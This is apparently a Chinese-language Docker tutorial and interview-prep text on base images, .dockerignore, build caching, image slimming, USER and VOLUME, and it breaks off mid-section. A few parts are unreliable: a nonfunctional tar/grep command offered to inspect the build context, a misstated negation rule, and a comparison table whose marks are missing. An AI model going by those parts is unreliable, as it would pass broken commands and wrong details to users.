场景 5:Alpine 上的常用包安装

FROM alpine:3.18

# 安装常用工具
RUN apk --no-cache add \
    curl \
    bash \
    ca-certificates \
    tzdata

# --no-cache 是关键:不缓存包索引

面试高频问题

问题:为什么选择 Alpine 作为基础镜像?

回答要点:
– 极小:只有 ~5MB,基于 musl libc + busybox
– 安全:攻击面小,CVE 少
– 快速:下载和部署快
– 缺点:musl libc 与 glibc 可能存在兼容性问题
– 需要包时,apk 包管理器比 apt 快

问题:Scratch 和 Alpine 怎么选?

场景 Scratch Alpine
需要 shell
需要包管理器
极致安全 partially
Go 静态编译
需要调试
只有二进制

问题:官方镜像的 -slim-alpine-bullseye 后缀是什么意思?

# -slim:基于 Debian Slim(精简版 Debian)
FROM node:18-slim      # ~130MB
FROM node:18           # ~900MB(包含完整工具链)

# -alpine:基于 Alpine Linux
FROM node:18-alpine    # ~170MB

# -bullseye:基于 Debian 11 Bullseye
FROM node:18-bullseye  # ~900MB

# -bookworm:基于 Debian 12 Bookworm
FROM node:18-bookworm  # ~900MB

最佳实践总结

# 1. 多阶段构建 + 最简基础镜像
FROM golang:1.21 AS builder
...
FROM alpine:3.18  # 或 scratch
COPY --from=builder ...

# 2. 固定版本,不用 :latest
FROM node:18.20.0-alpine  # ✅
FROM node:latest           # ❌

# 3. 使用官方镜像优先
FROM node:18-alpine  # ✅ 官方维护
FROM my-base:1.0     # ❌ 自定义镜像是最后选择

# 4. 尽量小但不要为了小牺牲兼容性
FROM node:18-alpine    # ✅ 经过测试
FROM busybox           # ❌ 缺少需要的工具

总结

  • 优先使用语言官方镜像的 alpine/slim 版
  • Go 等静态编译语言用 scratchalpine
  • Alpine 是通用好选择,但注意 musl 兼容性
  • 高安全场景用 distrolessscratch
  • 始终固定版本标签,避免 :latest
  • 多阶段构建中,构建阶段用完整镜像,运行阶段用最小镜像

.dockerignore 文件的作用和用法

.dockerignore 文件的作用和用法

核心概念

.dockerignore 文件告诉 Docker 构建时要忽略哪些文件——它类似于 .gitignore,但应用于 Docker 构建上下文。

# 构建上下文 = Dockerfile 所在目录的所有文件(默认)
docker build -t myapp .

# 没有 .dockerignore 时,整个目录都被发送给 Docker 守护进程
graph TB
    subgraph 构建流程
        BUILD_DIR[构建目录<br/>/home/user/myapp]
        SEND[docker build 发送上下文]
        DAEMON[Docker 守护进程]

        BUILD_DIR -->|发送所有文件| SEND
        SEND --> DAEMON
        DAEMON --> BUILD[docker build 执行]

        subgraph 没有 .dockerignore
            ALL[发送 500MB<br/>包含 node_modules, .git, __pycache__]
        end

        subgraph  .dockerignore
            FILTERED[只发送 5MB<br/>只包含需要的文件]
        end
    end

为什么需要 .dockerignore?

问题一:构建上下文过大

# 一个典型 Node.js 项目的目录大小
du -sh /home/user/myapp/
# 500MB    总大小

du -sh /home/user/myapp/node_modules
# 300MB    node_modules(不需要在镜像中)

du -sh /home/user/myapp/.git
# 150MB    .git 历史(不需要在镜像中)

# 实际的源代码:只有 5MB!

问题二:安全隐患

# 没有 .dockerignore 时,以下文件会被发送到构建上下文中
.env                    # 包含数据库密码和 API 密钥
.git/                   # 包含代码历史和敏感信息
.ssh/                   # SSH 密钥
config/credentials.yml   # 凭据文件

问题三:不必要的 COPY

# 即使 COPY 只复制了 src/ 目录
COPY src/ /app/

# 但整个构建上下文都被发送给 Docker 守护进程
# 包括 node_modules、.git 等巨大目录

.dockerignore 的写法

基本语法

# .dockerignore 文件

# 忽略所有 md 文件(通配符)
*.md

# 忽略 node_modules 目录(目录名)
node_modules

# 忽略隐藏文件(文件名前缀)
.git
.env

# 忽略特定路径
src/tmp/

# 例外(不忽略某些文件)
!src/important.md

完整的 .dockerignore 示例

# ====== 版本控制 ======
.git/
.gitignore
.gitattributes

# ====== 依赖目录 ======
node_modules/
vendor/
bower_components/

# ====== 构建产物 ======
dist/
build/
*.pyc
*.pyo
__pycache__/
*.class
*.jar
target/

# ====== 环境文件 ======
.env
.env.*
*.pem
*.key
config/credentials*.yml

# ====== IDE 配置 ======
.idea/
.vscode/
*.swp
*.swo
*~

# ====== 系统文件 ======
.DS_Store
Thumbs.db

# ====== Docker 文件 ======
Dockerfile
docker-compose*
.dockerignore

# ====== 日志和临时文件 ======
*.log
.tmp/
tmp/

# ====== 文档(不需要放进镜像) ======
*.md
docs/
README*

# ====== CI/CD 配置 ======
.gitlab-ci.yml
Jenkinsfile
.circleci/
.travis.yml

不同语言的 .dockerignore

Node.js 项目

node_modules/
npm-debug.log
.env
.git/
.gitignore
*.md
Dockerfile
docker-compose.yml
coverage/
.nyc_output/

Python 项目

__pycache__/
*.py[cod]
*.egg-info/
dist/
build/
.venv/
venv/
env/
*.env
.git/
.gitignore
*.md
Dockerfile
.pytest_cache/

Java 项目

target/
*.class
*.jar
*.war
*.log
.idea/
*.iml
.settings/
.project
.classpath
.git/
.gitignore
Dockerfile

Go 项目

.git/
.gitignore
*.md
Dockerfile
docker-compose.yml
tmp/
*.test
coverage.out
.env

构建上下文的大小对比

# 没有 .dockerignore
docker build -t myapp .
# Sending build context to Docker daemon  512MB
# 发送了 512MB!等待...(可能几秒到几十秒)

# 有 .dockerignore
docker build -t myapp .
# Sending build context to Docker daemon  5.12kB
# 几乎瞬间完成

验证构建上下文

# 查看构建上下文有哪些文件
docker build -f /dev/null . 2>&1
# Sending build context to Docker daemon ...
# 会列出上下文的大小

# 更好的方式:用 tar 查看
tar -tvf /dev/stdin <<< "$(docker build -q -f /dev/null . 2>&1 | grep -oP 'tar\|tgz' )"

.dockerignore 的注意事项

注意一:Dockerfile 不会被忽略

# 即使在 .dockerignore 中写了 Dockerfile
# Dockerfile 本身不会被忽略!它是构建必需的

# 但如果你要 COPY Dockerfile 进镜像,那会被忽略

注意二:通配符行为

# * 匹配任意字符,但不匹配目录分隔符
*.md          # 匹配根目录下的 README.md,但不匹配 docs/README.md

# ** 匹配任意层级
**/*.md       # 匹配所有 md 文件
docs/**       # 匹配 docs/ 下的所有内容

# 在根目录开头的 /
/node_modules  # 只匹配根目录下的 node_modules

注意三:取反规则

# 先忽略所有 md 文件
*.md

# 但是保留 README.md
!README.md

# 注意:取反不能恢复被目录排除的文件
# 如果忽略了 src/,就不能取反恢复 src/important.md
src/*
# !src/important.md     ← 这不会生效!

面试追问

问:.dockerignore 和 .gitignore 有什么不同?

答:虽然语法相似,但目的不同——
.gitignore 阻止文件进入版本控制
.dockerignore 阻止文件进入 Docker 构建上下文

另外,.dockerignore 中忽略 Dockerfile 不会生效(Dockerfile 无论如何都会发送到守护进程)。

问:.dockerignore 只在构建上下文的根目录有效吗?

答:对,.dockerignore 必须放在 Dockerfile 所在的目录(构建上下文的根目录)。Docker 在开始构建时会读取这个文件来过滤上下文。

总结

有无 .dockerignore 构建上下文大小 构建耗时 安全性
❌ 没有 数百 MB(包含依赖和 git) 数十秒 ❌ 敏感文件可能泄露
✅ 有 几 KB ~ 几 MB 即时 ✅ 排除敏感文件
节省效率 99%+ 90%+

一句话总结.dockerignore 是所有 Docker 项目的”必配文件”——它让构建更快、镜像更小、容器更安全。


Docker 构建缓存原理和利用

Docker 构建缓存原理和利用

核心概念

Docker 在构建镜像时使用分层缓存(Layer Cache)来加速构建。如果某层的输入没有变化,Docker 会重用之前构建的该层,而不是重新执行。

graph TB
    subgraph 缓存命中流程
        BUILD[docker build] --> CACHE{检查缓存}
        CACHE -->|指令和上下文没变| HIT[ 缓存命中<br/>直接使用已有层]
        CACHE -->|有变化| MISS[ 缓存未命中<br/>重新执行指令]
        HIT --> CONTINUE[继续下一层]
        MISS --> CONTINUE

        CONTINUE --> NEXT{下一层需要检查缓存?}
        NEXT -->|| CACHE
        NEXT -->|| DONE[构建完成]
    end

缓存的工作原理

缓存 key 的组成

Docker 构建缓存基于以下内容生成哈希 key:

# 每层的缓存 key 由以下元素决定
# 1. 父层的哈希
# 2. 指令本身(RUN apt-get update...)
# 3. 指令的参数或上下文(COPY 的文件内容)

# 只有当所有这些都匹配时,缓存才命中

不同指令的缓存检查

FROM ubuntu:22.04
# 缓存 key = ubuntu:22.04 的镜像哈希

RUN apt-get update && apt-get install -y curl
# 缓存 key = 父层哈希 + 指令字符串

COPY requirements.txt ./
# 缓存 key = 父层哈希 + 指令 + requirements.txt 的内容哈希

RUN pip install -r requirements.txt
# 缓存 key = 父层哈希 + 指令字符串

COPY . .
# 缓存 key = 父层哈希 + 指令 + 所有 COPY 文件的哈希

CMD ["python", "app.py"]
# 缓存 key = 父层哈希 + 指令字符串

缓存命中 vs 未命中的影响

# 第一次构建(没有缓存)
docker build -t myapp .
# Step 1/6 : FROM node:18-alpine     → 拉取镜像 30s
# Step 2/6 : WORKDIR /app             → 创建层 0.1s
# Step 3/6 : COPY package.json ./     → 复制文件 0.1s
# Step 4/6 : RUN npm ci               → 下载依赖 60s ← 最慢
# Step 5/6 : COPY . .                 → 复制文件 0.2s
# Step 6/6 : CMD ["node", "app.js"]   → 创建层 0.1s
# 总计: 90.5s

# 第二次构建(修改了一行代码,package.json 没变)
docker build -t myapp .
# Step 1/6 : FROM node:18-alpine     → 使用缓存 ✅
# Step 2/6 : WORKDIR /app             → 使用缓存 ✅
# Step 3/6 : COPY package.json ./     → 使用缓存 ✅
# Step 4/6 : RUN npm ci               → 使用缓存 ✅ ← 节省了 60s!
# Step 5/6 : COPY . .                 → 重新构建 ⚠️
# Step 6/6 : CMD ["node", "app.js"]   → 使用缓存 ✅
# 总计: 2s ← 快了 45 倍!

最大化缓存命中率的策略

策略一:把变化少的指令放前面

# ❌ 糟糕的顺序 — 小变化导致大缓存失效
FROM node:18-alpine
COPY . .                     # 经常变化  缓存失效
RUN npm ci                   # 每次都重新安装依赖
RUN npm run build            # 每次都重新构建

# ✅ 好的顺序 — 缓存最大化
FROM node:18-alpine
COPY package.json yarn.lock ./  # 不常变化
RUN yarn install --frozen-lockfile           # 利用了缓存
COPY . .                     # 经常变化,但这里缓存失效影响小
RUN yarn build               # 重新构建

策略二:分离依赖文件和源代码

# ✅ 最佳实践:依赖文件放在 COPY 源代码之前
FROM node:18-alpine

WORKDIR /app

# 第1步:复制依赖清单(很少变化)
COPY package.json package-lock.json ./

# 第2步:安装依赖(缓存利用率极高)
RUN npm ci --only=production

# 第3步:复制源代码(经常变化)
COPY . .

CMD ["node", "app.js"]
graph TB
    subgraph 缓存分析
        S1[Step1: COPY package*.json<br/> 缓存命中<br/>package.json 没变]
        S2[Step2: RUN npm ci<br/> 缓存命中<br/>依赖文件没变]
        S3[Step3: COPY . .<br/> 缓存未命中<br/>源码变了]
        S4[Step4: CMD<br/> 缓存命中]

        S1 --> S2 --> S3 --> S4
    end

策略三:在多阶段构建中利用缓存

FROM golang:1.20 AS builder
WORKDIR /app

# 先复制 go.mod 和 go.sum
COPY go.mod go.sum ./
RUN go mod download
# 只要依赖没变,以上两步缓存命中

# 再复制源代码(经常变化)
COPY . .
RUN CGO_ENABLED=0 go build -o myapp

FROM alpine:latest
COPY --from=builder /app/myapp /myapp
CMD ["/myapp"]

策略四:系统包安装放在最前面

FROM ubuntu:22.04

# 系统依赖(几乎不变)
RUN apt-get update && \
    apt-get install -y --no-install-recommends \
        python3 \
        python3-pip \
        nginx \
    && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*

# Python 依赖(较少变化)
COPY requirements.txt ./
RUN pip install --no-cache-dir -r requirements.txt

# 应用代码(经常变化)
COPY . .

CMD ["python", "app.py"]

强制不使用缓存

场景一:需要确保每次构建都重新下载

# 完全不使用任何缓存
docker build --no-cache -t myapp .

# 或者使用 BUILDKIT 的 --no-cache-filter 指定阶段
DOCKER_BUILDKIT=1 docker build --no-cache-filter=builder -t myapp .

场景二:特定步骤强制刷新

# 使用构建参数强制缓存失效
FROM ubuntu:22.04

# 每次构建时传入不同的 CACHE_BUST 值
ARG CACHE_BUST=1
RUN echo "Cache bust: $CACHE_BUST"

# 后续的 apt-get 也会重新执行
RUN apt-get update && apt-get install -y curl
# 强制刷新
docker build --build-arg CACHE_BUST=$(date +%s) -t myapp .

缓存失效的常见原因

graph TB
    subgraph 缓存失效原因
        C1[COPY 的文件内容变化]
        C2[Dockerfile 指令变化<br/> RUN apt-get  RUN apt]
        C3[基础镜像 tag 变了<br/> ubuntu:latest]
        C4[构建参数变了<br/> --build-arg VERSION=2]
        C5[ADD  URL 内容变了]
    end

    C1 --> MISS[缓存未命中]
    C2 --> MISS
    C3 --> MISS
    C4 --> MISS
    C5 --> MISS

验证缓存命中情况

# 构建时,Docker 会显示缓存状态
docker build -t myapp .
# Step 1/5 : FROM node:18-alpine
#  ---> a1b2c3d4e5f6               ← 使用的缓存层哈希
# Step 2/5 : WORKDIR /app
#  ---> Using cache                ← ✅ 缓存命中
#  ---> b2c3d4e5f6a7
# Step 3/5 : COPY package.json ./
#  ---> Using cache                ← ✅ 缓存命中
# Step 4/5 : RUN npm ci
#  ---> Using cache                ← ✅ 缓存命中
# Step 5/5 : COPY . .
#  ---> c3d4e5f6a7b8               ← ❌ 没有 "Using cache",重新构建

面试追问

问:docker build 缓存和 docker pull 缓存有什么区别?

答:
构建缓存:存在于本地 Docker 守护进程,用于加速 docker build
Registry 缓存:Registry 上的层共享,多个镜像共享基础层时不需要重复上传
拉取缓存:已下载的层在本地磁盘缓存,下次拉取相同层直接使用

问:缓存被意外命中怎么办?

答:使用 --no-cache 强制全量构建,或者使用构建参数在关键步骤插入缓存破坏变量。

总结

缓存策略 做法 效果
指令排序 变化少的放前面 大幅提升缓存命中
依赖分离 先 COPY 依赖文件 避免源代码改动导致依赖重装
多阶段构建 每个阶段独立使用缓存 构建阶段缓存独立
统一基础镜像 团队共享相同的基础层 多项目共享本地缓存

一句话总结:Docker 缓存策略本质上就是「不要把鸡蛋放在一个篮子里」——把变化频率不同的文件放到不同的层中,让缓存的价值最大化。


优化 Docker 镜像体积的实用方法

优化 Docker 镜像体积的实用方法

为什么要优化镜像体积?

graph TB
    subgraph 大镜像的问题
        DISK[磁盘占用大<br/>数十个镜像轻易占满硬盘]
        PULL[拉取时间长<br/>开发CI/CD效率低]
        PUSH[推送时间长<br/>每次部署等待久]
        ATTACK[攻击面大<br/>多余工具=更多漏洞]
        START[启动慢<br/>更多层需要加载]
    end

方法一:选择合适的基础镜像

# 同一个语言的不同镜像大小对比
REPOSITORY          TAG       SIZE
node                latest    1.1GB      太大
node                18        330MB     还行
node                18-slim  180MB      推荐
node                18-alpine 125MB     最推荐
python              3.11      880MB     太大
python              3.11-slim 145MB     推荐
python              3.11-alpine 80MB    最推荐
golang              1.20      800MB    构建阶段可用
golang              1.20-alpine 350MB   构建阶段推荐
alpine              3.18       5MB      最小
scratch                       0B      最小
# ❌ 用完整镜像
FROM node:18

# ✅ 用精简镜像(减少 60-90%)
FROM node:18-alpine

方法二:多阶段构建

# ❌ 单阶段 — 工具链全部保留
FROM golang:1.20
COPY . .
RUN go build -o myapp
# 最终: 800MB+

# ✅ 多阶段 — 只保留二进制
FROM golang:1.20 AS builder
COPY . .
RUN CGO_ENABLED=0 go build -o myapp

FROM alpine:latest
COPY --from=builder /go/myapp /myapp
# 最终: 15MB ↓

方法三:清理包管理缓存

# ❌ 不清理 — 保留了大量缓存
FROM ubuntu:22.04
RUN apt-get update
RUN apt-get install -y python3 nginx

# ✅ 清理 apt 缓存
FROM ubuntu:22.04
RUN apt-get update && \
    apt-get install -y --no-install-recommends \
        python3 \
        nginx \
    && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*

# ✅ 清理其他包管理器
# Alpine
RUN apk add --no-cache python3
# pip
RUN pip install --no-cache-dir -r requirements.txt
# npm
RUN npm ci --only=production && npm cache clean --force
# yarn
RUN yarn install --frozen-lockfile && yarn cache clean

方法四:合并 RUN 指令

# ❌ 每个 RUN 独立成层
RUN apt-get update
RUN apt-get install -y curl
RUN rm -rf /var/lib/apt/lists/*

# ✅ 合并成一个 RUN
RUN apt-get update && \
    apt-get install -y --no-install-recommends curl && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*
# 注意:不仅层数少,还避免了中间产物的持久化

方法五:删除不必要的文件

# ❌ 安装了大量不需要的内容
FROM python:3.11-slim
RUN pip install -r requirements.txt

# ✅ 只安装生产依赖
FROM python:3.11-slim
RUN pip install --no-cache-dir -r requirements.txt

# ❌ 保留构建工具
FROM ubuntu:22.04
RUN apt-get install -y build-essential gcc
RUN pip install -r requirements.txt
# 不需要 build-essential 了,但它还在镜像中

# ✅ 使用多阶段或删除构建工具
FROM ubuntu:22.04
RUN apt-get install -y --no-install-recommends \
        build-essential gcc && \
    pip install -r requirements.txt && \
    apt-get purge -y build-essential gcc && \
    apt-get autoremove -y && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*

方法六:使用 .dockerignore

# ❌ 没有 .dockerignore — 整个项目目录成为构建上下文
# .git 目录、node_modules、缓存文件都会被 COPY 进镜像

# ✅ 创建 .dockerignore
# .dockerignore 内容
.git/
node_modules/
__pycache__/
.env
*.md
.gitignore
Dockerfile
docker-compose.yml
dist/
.tmp/
# 效果对比
# 没有 .dockerignore: 构建上下文 500MB
# 有 .dockerignore: 构建上下文 5MB

方法七:最小化文件复制

# ❌ 全部复制 — 复制了整个项目
FROM node:18-alpine
COPY . .
RUN npm ci --only=production

# ✅ 先复制依赖文件,充分发挥缓存
FROM node:18-alpine
COPY package.json package-lock.json ./
RUN npm ci --only=production && npm cache clean --force
COPY . .

方法八:使用 –squash(实验性)

# 将镜像所有层合并为一层
docker build --squash -t myapp:min .

# 注意:这完全消除了分层的好处
# 但某些极端场景下可以显著减小体积
# 生产镜像最后的瘦身步骤

实际优化案例

一个 Python Web 应用的优化

# ====== 优化前: 1.2GB ======
FROM python:3.11
WORKDIR /app
COPY . .
RUN pip install -r requirements.txt
CMD ["gunicorn", "app:app"]

# ====== 优化后: 180MB ======
FROM python:3.11-slim AS builder
WORKDIR /build
COPY requirements.txt ./
RUN pip install --user --no-cache-dir -r requirements.txt

FROM python:3.11-slim
COPY --from=builder /root/.local /root/.local
COPY app/ ./app/
ENV PATH=/root/.local/bin:$PATH
CMD ["gunicorn", "app:app"]

优化效果

# 优化前
myapp   latest   1.2GB
# 优化后
myapp   latest   180MB

# 节省: 85%!
# 拉取时间: 120s → 15s
# 部署速度: 大幅提升

镜像优化检查清单

graph TB
    START[检查镜像体积] --> Q1{基础镜像选对了吗?}
    Q1 -->|用了完整版| A1[改用 slim/alpine]
    Q1 -->|已用精简| Q2{用了多阶段构建?}

    Q2 -->|没有| A2[分离构建阶段和运行阶段]
    Q2 -->|已有| Q3{清理了包缓存?}

    Q3 -->|没有| A3[apt clean / npm cache clean]
    Q3 -->|已清理| Q4{RUN 指令合并了吗?}

    Q4 -->|没有| A4[ && 合并 RUN]
    Q4 -->|已合并| Q5{ .dockerignore}

    Q5 -->|没有| A5[添加 .dockerignore]
    Q5 -->|| DONE[优化完成 🎉]

工具推荐

# 1. dive — 交互式分析镜像分层
dive myapp:latest
# 可以看到每一层增加了多少大小

# 2. docker history
docker history myapp:latest
# 看看哪一层最大

# 3. docker image inspect
docker image inspect myapp:latest
# 查看完整配置

# 4. docker-slim — 自动瘦身
docker-slim build myapp:latest

面试追问

问:apt-get clean 真的能减小镜像吗?

答:能,但前提是在同一个 RUN 指令中执行。如果 apt-get clean 单独成层,那删除操作只影响它自己的层,而 apt-get update 产生的缓存文件在之前的层中,不会被删除。

问:优化镜像体积和构建速度如何权衡?

答:开发阶段优先构建速度(保持分层),生产部署前做一次最终优化(合并层、使用多阶段构建)。

总结

方法 效果 难度
选 slim/alpine 减少 60-90%
多阶段构建 减少 90%+ ⭐⭐
清理缓存 减少 10-30%
合并 RUN 减少 5-15%
.dockerignore 减少上下文体积
删除不必要的包 减少 20-50% ⭐⭐

一句话总结:优化镜像三原则——只装需要的、只带需要的、只留需要的


Dockerfile USER 指令切换运行用户

Dockerfile USER 指令切换运行用户

核心概念

USER 指令用于指定运行后续指令以及容器启动时使用的用户。默认情况下,容器以 root 用户运行,这是一个安全隐患——USER 指令就是为了解决这个问题。

FROM node:18-alpine

# 切换到 node 用户
USER node

# 后续指令以 node 用户身份执行
WORKDIR /home/node/app
COPY . .
# 这些文件现在属于 node 用户,而不是 root

为什么需要 USER?

root 用户运行的风险

# 以 root 运行的容器
docker run myapp

# 如果应用被攻破,攻击者获得了容器内的 root 权限
# 加上一些容器逃逸漏洞 → 可能获得主机 root!
graph TB
    subgraph root 运行的风险
        APP[应用漏洞] --> CONTAINER[获取容器 root 权限]
        CONTAINER --> CVE[容器逃逸漏洞]
        CVE --> HOST[获取宿主机 root ]
    end

    subgraph  root 运行的安全
        APP2[应用漏洞] --> USER_ACL[获取容器 node 权限]
        USER_ACL --> LIMIT[权限受限<br/>无法修改系统文件]
        USER_ACL --> NO_ESCAPE[需要额外提权<br/>难以逃逸 ]
    end

实际案例

# ❌ 不安全的 Dockerfile
FROM node:18-alpine
WORKDIR /app
COPY . .
RUN npm install
EXPOSE 3000
CMD ["node", "app.js"]
# 所有操作以 root 运行

# ✅ 安全的 Dockerfile
FROM node:18-alpine
WORKDIR /app
COPY --chown=node:node . .
RUN npm install
USER node
EXPOSE 3000
CMD ["node", "app.js"]
# 切换为普通用户 node

多阶段构建中的 USER

# 构建阶段 — 可能需要 root 权限
FROM golang:1.20 AS builder
WORKDIR /app
COPY . .
# 构建阶段以 root 运行(安装依赖等需要权限)
RUN go mod download
RUN CGO_ENABLED=0 go build -o myapp

# 运行阶段 — 立刻切换用户
FROM alpine:latest
# 创建非 root 用户
RUN addgroup -S appgroup && adduser -S appuser -G appgroup

# 复制文件时设置属主
COPY --from=builder --chown=appuser:appgroup /app/myapp /myapp

# 切换用户
USER appuser
CMD ["/myapp"]

如何选择合适的用户?

官方镜像预置的用户

镜像 预置用户 UID 说明
node node 1000 Node.js 官方推荐
nginx nginx 101 Nginx worker 进程
postgres postgres 999 PostgreSQL 专用
redis redis 999 Redis 专用
python 无预设 需要手动创建

创建自定义用户

# Alpine 系列
FROM alpine:latest
RUN addgroup -S mygroup && adduser -S myuser -G mygroup

# Ubuntu/Debian 系列
FROM ubuntu:22.04
RUN groupadd -r mygroup && useradd -r -g mygroup -d /app -s /sbin/nologin myuser

# RHEL/CentOS 系列
FROM centos:7
RUN groupadd -r mygroup && useradd -r -g mygroup -d /app -s /sbin/nologin myuser

USER 的完整使用示例

Nginx 非 root 运行

FROM nginx:alpine

# 删除默认的 nginx.conf,换上自定义的
RUN rm /etc/nginx/conf.d/default.conf
COPY nginx.conf /etc/nginx/nginx.conf

# 修改日志目录权限
RUN chown -R nginx:nginx /var/log/nginx && \
    chown -R nginx:nginx /var/cache/nginx && \
    touch /var/run/nginx.pid && \
    chown -R nginx:nginx /var/run/nginx.pid

# 创建应用目录并设置属主
WORKDIR /usr/share/nginx/html
COPY --chown=nginx:nginx . .

# 切换为非 root 用户
USER nginx

EXPOSE 8080
CMD ["nginx", "-g", "daemon off;"]

Node.js 应用

FROM node:18-alpine

# 预置的 node 用户,UID 为 1000
RUN mkdir -p /app && chown -R node:node /app

WORKDIR /app
# 复制时设置属主
COPY --chown=node:node package.json yarn.lock ./
RUN yarn install --frozen-lockfile

COPY --chown=node:node . .

# 切换到非 root 用户
USER node

EXPOSE 3000
CMD ["node", "app.js"]

与文件权限的配合

问题:非 root 用户无法写入某些目录

# ❌ 会失败 — node 用户没有 /var/log 的写入权限
FROM node:18-alpine
USER node
RUN echo "test" > /var/log/app.log
# 报错: Permission denied

# ✅ 正确的做法
FROM node:18-alpine

# 先以 root 创建目录并授权,再切换用户
RUN mkdir -p /var/log/app && chown -R node:node /var/log/app

USER node
RUN echo "test" > /var/log/app/app.log  #  现在可以了

文件权限检查

FROM node:18-alpine

# 创建并设置权限
RUN mkdir -p /app/data && \
    chown -R node:node /app && \
    chmod 755 /app

# 验证
USER node
RUN ls -la /app && whoami

生产环境完整示例

# ============ 构建阶段 ============
FROM node:18-alpine AS builder

WORKDIR /build
COPY package.json yarn.lock ./
RUN yarn install --frozen-lockfile

COPY . .
RUN yarn build

# ============ 运行阶段 ============
FROM nginx:alpine

# 创建应用用户(如果 nginx 没有合适的用户)
RUN addgroup -S appgroup && adduser -S appuser -G appgroup

# 复制构建产物
COPY --from=builder --chown=appuser:appgroup /build/dist /usr/share/nginx/html
COPY --chown=appuser:appgroup nginx.conf /etc/nginx/nginx.conf

# 设置日志和缓存权限
RUN chown -R appuser:appgroup /var/log/nginx /var/cache/nginx && \
    touch /var/run/nginx.pid && \
    chown -R appuser:appgroup /var/run/nginx.pid

# 切换到非 root 用户
USER appuser

EXPOSE 8080
CMD ["nginx", "-g", "daemon off;"]

常见错误

错误一:忘记切换用户

FROM node:18-alpine

RUN npm install -g some-package
# 保持为 root 用户运行容器 — 安全风险!
# 没有 USER node

错误二:用户没有文件写入权限

FROM node:18-alpine

USER node
WORKDIR /app
COPY . .               #  node 用户无法写入 /app
# 因为 /app 的属主是 root

# ✅ 正确的顺序
WORKDIR /app
COPY --chown=node:node . .    # 复制时设置属主
USER node

错误三:不注意端口绑定

# 非 root 用户不能绑定 1024 以下的端口
docker run myapp

# 错误: Permission denied
# 因为应用尝试绑定 80 端口,但 80 < 1024

# 解决方案
# 1. 使用 1024 以上端口
# 2. 授予 NET_BIND_SERVICE 能力
docker run --cap-add=NET_BIND_SERVICE myapp
# 3. 用 root 启动但设置 user directive

面试追问

问:USER 指令在多阶段构建中如何工作?

答:每个阶段是独立的,USER 只在当前阶段生效。从一个阶段离开到下一个阶段时,用户设置不会继承。

问:docker run 时如何覆盖 USER?

# 运行时可以指定用户
docker run --user 1000:1000 myapp

# 或者用用户名(如果容器中定义了)
docker run --user node myapp

# 如果镜像中有 /etc/passwd 条目
docker run --user myuser myapp

总结

场景 用户策略
构建过程 可以用 root(安装软件)
运行服务 必须用非 root 用户
文件写入 预先 chown,再切换用户
端口绑定 用 1024+ 或加 cap
安全性 始终使用 USER 指令

一句话总结:不要用 root 跑容器应用——USER 是一个简单的指令,但对容器的安全性影响巨大。


Dockerfile VOLUME 指令定义匿名卷

Dockerfile VOLUME 指令定义匿名卷

核心概念

VOLUME 指令在 Dockerfile 中声明一个挂载点,当容器运行时,该路径下的数据会被存储在外部卷中,而不是容器的可写层。

# 定义匿名卷
VOLUME /data

# 等价于 docker run -v /data
# Docker 会创建一个匿名 volume 并挂载到 /data
graph TB
    subgraph  VOLUME 的容器
        CONTAINER[容器]
        CONTAINER_VOL[/data<br/>VOLUME 声明]

        CONTAINER_VOL --> ANON[/data 的数据<br/>不会写入容器层<br/>而是存到外部 Volume]
        ANON --> VOL_STORE[Volume 存储<br/>/var/lib/docker/volumes/xxx/]
    end

为什么需要 VOLUME?

场景一:持久化数据

# ❌ 没有 VOLUME:容器删除,数据丢失
docker run --name postgres postgres:13
# ... 运行一段时间,写入数据 ...
docker rm postgres
# ❌ 所有数据都丢了!

# ✅ 有 VOLUME:数据持久化
docker run --name postgres postgres:13
docker rm postgres                     # 容器删了
docker volume ls                       # 但 volume 还在!
docker run --name postgres2 -v old-volume:/var/lib/postgresql/data postgres:13
# 用之前的 volume,数据回来了!

场景二:绕过 UnionFS 限制(写时复制问题)

FROM ubuntu:22.04

# MySQL 的数据目录声明为 volume
VOLUME /var/lib/mysql

# 好处:
# 1. 数据库文件直接走 Volume,不走 UnionFS
# 2. 避免 COW(写时复制)带来的性能开销
# 3. 多个容器实例之间可以共享数据
graph LR
    subgraph 不设置 VOLUME
        RW[写入 /var/lib/mysql/data.db]
        RW --> COPY_ON_WRITE[写时复制<br/>从镜像层复制到容器层<br/>性能开销大]
    end

    subgraph 设置 VOLUME
        VOL[写入 /var/lib/mysql/data.db]
        VOL --> DIRECT[直接写入 Volume<br/>绕过 UnionFS<br/>性能更好]
    end

VOLUME 的多种定义方式

在 Dockerfile 中定义

FROM alpine:latest

# 方式一:单个路径
VOLUME /data

# 方式二:多个路径
VOLUME /data /logs /config

# 方式三:JSON 数组形式(推荐)
VOLUME ["/data", "/logs", "/config"]

在 docker run 中挂载

# 1. 匿名卷 — Docker 自动创建
docker run -v /data myapp

# 2. 命名卷 — 指定 volume 名称
docker run -v my-volume:/data myapp

# 3. 绑定挂载 — 挂载宿主机路径
docker run -v /host/data:/data myapp

# 4. tmpfs — 内存中(不持久化)
docker run --tmpfs /data myapp

VOLUME 的实际应用

PostgreSQL 官方镜像

# PostgreSQL Dockerfile 简化版
FROM debian:bookworm-slim

RUN apt-get update && apt-get install -y postgresql

# 数据目录声明为 volume
VOLUME /var/lib/postgresql/data

EXPOSE 5432
CMD ["postgres"]
# 启动 PostgreSQL
docker run -d \
    --name my-postgres \
    -e POSTGRES_PASSWORD=secret \
    -v pg-data:/var/lib/postgresql/data \
    postgres:13

# 即使容器被删除,数据仍在
docker rm -f my-postgres
docker run -d \
    --name new-postgres \
    -e POSTGRES_PASSWORD=secret \
    -v pg-data:/var/lib/postgresql/data \
    postgres:13
# 数据完好无损!

Nginx 日志

FROM nginx:alpine

# 日志目录声明为 volume
VOLUME /var/log/nginx

EXPOSE 80
CMD ["nginx", "-g", "daemon off;"]

VOLUME 在运行时的表现

# 启动一个有 VOLUME 声明的容器
docker run -d --name myapp myapp:latest

# 查看 volume 自动创建
docker volume ls
# DRIVER    VOLUME NAME
# local     abc123def456...  ← Docker 自动创建的匿名卷

# 查看容器挂载详情
docker inspect myapp --format '{{json .Mounts}}'
# [{"Type": "volume", "Name": "abc123...", "Source": "/var/lib/docker/volumes/abc123.../_data", "Destination": "/data"}]

# 查看 volume 中的数据
ls -la /var/lib/docker/volumes/abc123.../_data

不同挂载方式的区别

graph TB
    subgraph 挂载方式
        ANON_VOL[匿名卷<br/>-v /data]
        NAMED_VOL[命名卷<br/>-v my-vol:/data]
